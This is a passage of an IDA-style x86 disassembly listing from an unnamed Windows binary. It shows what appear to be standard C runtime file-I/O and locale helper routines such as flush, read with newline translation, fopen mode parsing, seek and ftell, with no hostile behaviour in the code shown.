
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_419896
		test	ax, 108h
		jz	short loc_419896
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_419896
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41A67D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41988F
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_419896
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_419896
; ---------------------------------------------------------------------------


loc_41988F:				; CODE XREF: sub_419849+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_419896:				; CODE XREF: sub_419849+14j
					; sub_419849+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_419849	endp


; =============== S U B	R O U T	I N E =======================================



sub_4198A5	proc near		; CODE XREF: sub_41B497p
		push	1
		call	sub_4198AE
		pop	ecx
		retn
sub_4198A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4198AE	proc near		; CODE XREF: sub_41980E+Ap
					; sub_4198A5+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_743520, esi
		jle	short loc_41990C


loc_4198BF:				; CODE XREF: sub_4198AE+5Cj
		mov	eax, dword_74251C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_419903
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_419903
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_4198E9
		push	eax
		call	sub_41980E
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_419903
		inc	ebx
		jmp	short loc_419903
; ---------------------------------------------------------------------------


loc_4198E9:				; CODE XREF: sub_4198AE+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_419903
		test	cl, 2
		jz	short loc_419903
		push	eax
		call	sub_41980E
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_419903
		or	edi, eax


loc_419903:				; CODE XREF: sub_4198AE+1Bj
					; sub_4198AE+23j ...
		inc	esi
		cmp	esi, dword_743520
		jl	short loc_4198BF


loc_41990C:				; CODE XREF: sub_4198AE+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_419917
		mov	eax, edi


loc_419917:				; CODE XREF: sub_4198AE+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4198AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41991B	proc near		; CODE XREF: sub_414E87+A9p
					; sub_415D5E+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_4199EF
		test	al, 40h
		jnz	loc_4199EF
		test	al, 2
		jz	short loc_419941
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_4199EF
; ---------------------------------------------------------------------------


loc_419941:				; CODE XREF: sub_41991B+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_419955
		push	esi
		call	sub_41B388
		pop	ecx
		jmp	short loc_41995A
; ---------------------------------------------------------------------------


loc_419955:				; CODE XREF: sub_41991B+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41995A:				; CODE XREF: sub_41991B+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_4199F4
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_4199DE
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4199DE
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_4199B3
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41999C
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_743540[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_4199A1
; ---------------------------------------------------------------------------


loc_41999C:				; CODE XREF: sub_41991B+6Bj
		mov	edi, offset dword_437E10


loc_4199A1:				; CODE XREF: sub_41991B+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_4199B3
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_4199B3:				; CODE XREF: sub_41991B+62j
					; sub_41991B+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_4199D0
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_4199D0
		test	ch, 4
		jnz	short loc_4199D0
		mov	dword ptr [esi+18h], 1000h


loc_4199D0:				; CODE XREF: sub_41991B+9Fj
					; sub_41991B+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4199DE:				; CODE XREF: sub_41991B+55j
					; sub_41991B+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_4199EF:				; CODE XREF: sub_41991B+Aj
					; sub_41991B+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41991B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4199F4	proc near		; CODE XREF: sub_414E87+90p
					; sub_41991B+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_743640
		jnb	loc_419BD1
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:743540h[eax*4]
		mov	eax, dword_743540[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_419BD1
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_419AA9
		test	dl, 2
		jnz	short loc_419AA9
		test	dl, 48h
		jz	short loc_419A69
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_419A69
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_419A69:				; CODE XREF: sub_4199F4+56j
					; sub_4199F4+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	ds:off_41F090
		test	eax, eax
		jnz	short loc_419ABC
		call	ds:off_41F06C
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_419AA4
		mov	dword_74222C, 9
		mov	dword_742230, ecx
		jmp	loc_419BE2
; ---------------------------------------------------------------------------


loc_419AA4:				; CODE XREF: sub_4199F4+99j
		cmp	eax, 6Dh
		jnz	short loc_419AB0


loc_419AA9:				; CODE XREF: sub_4199F4+4Cj
					; sub_4199F4+51j
		xor	eax, eax
		jmp	loc_419BE5
; ---------------------------------------------------------------------------


loc_419AB0:				; CODE XREF: sub_4199F4+B3j
		push	eax
		call	sub_41A82A
		pop	ecx
		jmp	loc_419BE2
; ---------------------------------------------------------------------------


loc_419ABC:				; CODE XREF: sub_4199F4+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_419BCC
		test	edx, edx
		jz	short loc_419AE1
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_419AE1
		or	al, 4
		jmp	short loc_419AE3
; ---------------------------------------------------------------------------


loc_419AE1:				; CODE XREF: sub_4199F4+E2j
					; sub_4199F4+E7j
		and	al, 0FBh


loc_419AE3:				; CODE XREF: sub_4199F4+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_419BC6


loc_419AFB:				; CODE XREF: sub_4199F4+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_419BB6
		cmp	al, 0Dh
		jz	short loc_419B17
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_419BA8
; ---------------------------------------------------------------------------


loc_419B17:				; CODE XREF: sub_4199F4+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_419B35
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_419B2C
		add	[ebp+arg_8], 2
		jmp	short loc_419B8A
; ---------------------------------------------------------------------------


loc_419B2C:				; CODE XREF: sub_4199F4+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_419BA8
; ---------------------------------------------------------------------------


loc_419B35:				; CODE XREF: sub_4199F4+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:off_41F090
		test	eax, eax
		jnz	short loc_419B5D
		call	ds:off_41F06C
		test	eax, eax
		jnz	short loc_419BA4


loc_419B5D:				; CODE XREF: sub_4199F4+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_419BA4
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_419B7F
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_419B8A
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_419BA8
; ---------------------------------------------------------------------------


loc_419B7F:				; CODE XREF: sub_4199F4+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_419B8F
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_419B8F


loc_419B8A:				; CODE XREF: sub_4199F4+136j
					; sub_4199F4+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_419BA7
; ---------------------------------------------------------------------------


loc_419B8F:				; CODE XREF: sub_4199F4+18Ej
					; sub_4199F4+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_419DD2
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_419BA8


loc_419BA4:				; CODE XREF: sub_4199F4+167j
					; sub_4199F4+16Dj
		mov	byte ptr [edi],	0Dh


loc_419BA7:				; CODE XREF: sub_4199F4+199j
		inc	edi


loc_419BA8:				; CODE XREF: sub_4199F4+11Ej
					; sub_4199F4+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_419AFB
		jmp	short loc_419BC6
; ---------------------------------------------------------------------------


loc_419BB6:				; CODE XREF: sub_4199F4+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_419BC6
		or	al, 2
		mov	[esi], al


loc_419BC6:				; CODE XREF: sub_4199F4+101j
					; sub_4199F4+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_419BCC:				; CODE XREF: sub_4199F4+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_419BE5
; ---------------------------------------------------------------------------


loc_419BD1:				; CODE XREF: sub_4199F4+12j
					; sub_4199F4+39j
		and	dword_742230, 0
		mov	dword_74222C, 9


loc_419BE2:				; CODE XREF: sub_4199F4+ABj
					; sub_4199F4+C3j
		or	eax, 0FFFFFFFFh


loc_419BE5:				; CODE XREF: sub_4199F4+B7j
					; sub_4199F4+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4199F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419BEA	proc near		; CODE XREF: sub_414F6F+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_7424EC
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_419C23
		cmp	al, 72h
		jz	short loc_419C1C
		cmp	al, 77h
		jnz	loc_419D37
		mov	ecx, 301h
		jmp	short loc_419C28
; ---------------------------------------------------------------------------


loc_419C1C:				; CODE XREF: sub_419BEA+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_419C2B
; ---------------------------------------------------------------------------


loc_419C23:				; CODE XREF: sub_419BEA+1Dj
		mov	ecx, 109h


loc_419C28:				; CODE XREF: sub_419BEA+30j
		or	esi, 2


loc_419C2B:				; CODE XREF: sub_419BEA+37j
		push	1
		pop	edx


loc_419C2E:				; CODE XREF: sub_419BEA+8Bj
					; sub_419BEA+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_419D1D
		cmp	edx, ebx
		jz	loc_419D1D
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_419CBC
		jz	short loc_419CAC
		sub	eax, 2Bh
		jz	short loc_419C96
		sub	eax, 19h
		jz	short loc_419C8C
		sub	eax, 0Eh
		jz	short loc_419C77
		dec	eax
		jnz	loc_419D0E
		cmp	[ebp+var_4], ebx
		jnz	loc_419D0E
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_419C2E
; ---------------------------------------------------------------------------


loc_419C77:				; CODE XREF: sub_419BEA+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_419D0E
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_419C2E
; ---------------------------------------------------------------------------


loc_419C8C:				; CODE XREF: sub_419BEA+6Aj
		test	cl, 40h
		jnz	short loc_419D0E
		or	ecx, 40h
		jmp	short loc_419C2E
; ---------------------------------------------------------------------------


loc_419C96:				; CODE XREF: sub_419BEA+65j
		test	cl, 2
		jnz	short loc_419D0E
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_419C2E
; ---------------------------------------------------------------------------


loc_419CAC:				; CODE XREF: sub_419BEA+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_419D0E
		or	ecx, eax
		jmp	loc_419C2E
; ---------------------------------------------------------------------------


loc_419CBC:				; CODE XREF: sub_419BEA+5Ej
		sub	eax, 62h
		jz	short loc_419D09
		dec	eax
		jz	short loc_419CF2
		sub	eax, 0Bh
		jz	short loc_419CDB
		sub	eax, 6
		jnz	short loc_419D0E
		test	ch, 0C0h
		jnz	short loc_419D0E
		or	ch, 40h
		jmp	loc_419C2E
; ---------------------------------------------------------------------------


loc_419CDB:				; CODE XREF: sub_419BEA+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_419D0E
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_419C2E
; ---------------------------------------------------------------------------


loc_419CF2:				; CODE XREF: sub_419BEA+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_419D0E
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_419C2E
; ---------------------------------------------------------------------------


loc_419D09:				; CODE XREF: sub_419BEA+D5j
		test	ch, 0C0h
		jz	short loc_419D15


loc_419D0E:				; CODE XREF: sub_419BEA+72j
					; sub_419BEA+7Bj ...
		xor	edx, edx
		jmp	loc_419C2E
; ---------------------------------------------------------------------------


loc_419D15:				; CODE XREF: sub_419BEA+122j
		or	ch, 80h
		jmp	loc_419C2E
; ---------------------------------------------------------------------------


loc_419D1D:				; CODE XREF: sub_419BEA+4Aj
					; sub_419BEA+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41C716
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_419D3B


loc_419D37:				; CODE XREF: sub_419BEA+25j
		xor	eax, eax
		jmp	short loc_419D55
; ---------------------------------------------------------------------------


loc_419D3B:				; CODE XREF: sub_419BEA+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_7423EC
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_419D55:				; CODE XREF: sub_419BEA+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419BEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_419D5A	proc near		; CODE XREF: sub_414F6Fp
		mov	edx, dword_743520
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_419DCB
		mov	ebx, dword_74251C
		mov	edi, ebx


loc_419D76:				; CODE XREF: sub_419D5A+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_419D91
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_419D8C
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_419D76
		jmp	short loc_419DCB
; ---------------------------------------------------------------------------


loc_419D8C:				; CODE XREF: sub_419D5A+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_419DB5
; ---------------------------------------------------------------------------


loc_419D91:				; CODE XREF: sub_419D5A+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_413F0B
		pop	ecx
		mov	ecx, dword_74251C
		mov	[edi+ecx], eax
		mov	eax, dword_74251C
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_419DCB
		mov	esi, edi


loc_419DB5:				; CODE XREF: sub_419D5A+35j
		cmp	esi, ebp
		jz	short loc_419DCB
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_419DCB:				; CODE XREF: sub_419D5A+12j
					; sub_419D5A+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_419D5A	endp


; =============== S U B	R O U T	I N E =======================================



sub_419DD2	proc near		; CODE XREF: sub_41523E+67p
					; sub_415F50+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_743640
		push	esi
		push	edi
		jnb	short loc_419E54
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:743540h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_419E54
		push	eax
		call	sub_41C682
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_419E16
		mov	dword_74222C, 9
		jmp	short loc_419E65
; ---------------------------------------------------------------------------


loc_419E16:				; CODE XREF: sub_419DD2+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	ds:off_41F094
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_419E36
		call	ds:off_41F06C
		jmp	short loc_419E38
; ---------------------------------------------------------------------------


loc_419E36:				; CODE XREF: sub_419DD2+5Aj
		xor	eax, eax


loc_419E38:				; CODE XREF: sub_419DD2+62j
		test	eax, eax
		jz	short loc_419E45
		push	eax
		call	sub_41A82A
		pop	ecx
		jmp	short loc_419E65
; ---------------------------------------------------------------------------


loc_419E45:				; CODE XREF: sub_419DD2+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_419E68
; ---------------------------------------------------------------------------


loc_419E54:				; CODE XREF: sub_419DD2+Dj
					; sub_419DD2+2Aj
		and	dword_742230, 0
		mov	dword_74222C, 9


loc_419E65:				; CODE XREF: sub_419DD2+42j
					; sub_419DD2+71j
		or	eax, 0FFFFFFFFh


loc_419E68:				; CODE XREF: sub_419DD2+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_419DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E6C	proc near		; CODE XREF: sub_41523E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_419E88
		mov	[edi+4], ebx


loc_419E88:				; CODE XREF: sub_419E6C+17j
		push	1
		push	ebx
		push	esi
		call	sub_419DD2
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_419EF6
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_419EAD
		sub	eax, [edi+4]
		jmp	loc_419FBF
; ---------------------------------------------------------------------------


loc_419EAD:				; CODE XREF: sub_419E6C+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_419EE7
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_743540[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_419EFE
		mov	edx, ecx


loc_419ED8:				; CODE XREF: sub_419E6C+79j
		cmp	edx, eax
		jnb	short loc_419EFE
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_419EE4
		inc	[ebp+var_8]


loc_419EE4:				; CODE XREF: sub_419E6C+73j
		inc	edx
		jmp	short loc_419ED8
; ---------------------------------------------------------------------------


loc_419EE7:				; CODE XREF: sub_419E6C+50j
		test	dl, 80h
		jnz	short loc_419EFE
		mov	dword_74222C, 16h


loc_419EF6:				; CODE XREF: sub_419E6C+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_419FBF
; ---------------------------------------------------------------------------


loc_419EFE:				; CODE XREF: sub_419E6C+68j
					; sub_419E6C+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_419F0C
		mov	eax, [ebp+var_8]
		jmp	loc_419FBF
; ---------------------------------------------------------------------------


loc_419F0C:				; CODE XREF: sub_419E6C+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_419FB7
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_419F25
		and	[ebp+var_8], edx
		jmp	loc_419FB7
; ---------------------------------------------------------------------------


loc_419F25:				; CODE XREF: sub_419E6C+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:743540h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_419FB1
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_419DD2
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_419F78
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_419F63:				; CODE XREF: sub_419E6C+104j
		cmp	eax, ecx
		jnb	short loc_419F72
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_419F6F
		inc	[ebp+arg_0]


loc_419F6F:				; CODE XREF: sub_419E6C+FEj
		inc	eax
		jmp	short loc_419F63
; ---------------------------------------------------------------------------


loc_419F72:				; CODE XREF: sub_419E6C+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_419FAC
; ---------------------------------------------------------------------------


loc_419F78:				; CODE XREF: sub_419E6C+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_419DD2
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_419F9F
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_419F9F
		test	ch, 4
		jz	short loc_419FA2


loc_419F9F:				; CODE XREF: sub_419E6C+124j
					; sub_419E6C+12Cj
		mov	eax, [edi+18h]


loc_419FA2:				; CODE XREF: sub_419E6C+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_419FAC:				; CODE XREF: sub_419E6C+10Aj
		jz	short loc_419FB1
		inc	[ebp+arg_0]


loc_419FB1:				; CODE XREF: sub_419E6C+D9j
					; sub_419E6C:loc_419FACj
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_419FB7:				; CODE XREF: sub_419E6C+A4j
					; sub_419E6C+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_419FBF:				; CODE XREF: sub_419E6C+3Cj
					; sub_419E6C+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419E6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FC4	proc near		; CODE XREF: sub_415467+A3p
					; sub_418AF1+A5p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F870
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_7422CC, edi
		jnz	short loc_41A03A
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_41F868
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_41F188	; LCMapStringW
		test	eax, eax
		jz	short loc_41A018
		mov	dword_7422CC, ebx
		jmp	short loc_41A03A
; ---------------------------------------------------------------------------


loc_41A018:				; CODE XREF: sub_419FC4+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_438A0C
		push	esi
		push	edi
		call	ds:off_41F184
		test	eax, eax
		jz	loc_41A152
		mov	dword_7422CC, 2


loc_41A03A:				; CODE XREF: sub_419FC4+2Ej
					; sub_419FC4+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41A04F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_41A1E8
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_41A04F:				; CODE XREF: sub_419FC4+79j
		mov	eax, dword_7422CC
		cmp	eax, 2
		jnz	short loc_41A076
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:off_41F184
		jmp	loc_41A154
; ---------------------------------------------------------------------------


loc_41A076:				; CODE XREF: sub_419FC4+93j
		cmp	eax, 1
		jnz	loc_41A152
		cmp	[ebp+arg_18], edi
		jnz	short loc_41A08C
		mov	eax, dword_7422C4
		mov	[ebp+arg_18], eax


loc_41A08C:				; CODE XREF: sub_419FC4+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_41F110	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41A152
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_413E60
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41A0E7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_41A0E7:				; CODE XREF: sub_419FC4+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41A152
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_41F110	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41A152
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
